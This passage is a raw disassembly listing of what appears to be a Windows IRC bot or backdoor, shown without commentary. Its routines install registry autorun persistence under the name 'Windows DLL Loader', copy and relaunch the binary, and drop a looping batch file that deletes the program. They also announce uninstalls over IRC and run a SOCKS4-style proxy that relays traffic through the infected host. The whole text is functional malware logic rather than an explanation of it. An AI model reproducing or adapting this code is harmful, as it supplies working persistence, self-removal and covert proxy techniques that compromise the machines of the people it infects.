[ebp+arg_0] call dword_417044 mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C push [ebp+var_120] call dword_4170A4 locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C push eax call dword_417090 lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 push [ebp+var_28] call dword_4170A4 push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: .packed:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C push eax call dword_417090 and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC loc_40707C: ; DATA XREF: .packed:0041AD4Co ; .packed:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 test eax, eax jnz short loc_4070AF push offset dword_41EC0C push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C call dword_417254 push 0 call sub_416BFC locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C push eax call dword_417090 and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EC0C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 push 0 call dword_41705C loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EC0C push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EC0C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 push 0 call dword_41705C locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DF10 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; strcpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DF10 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 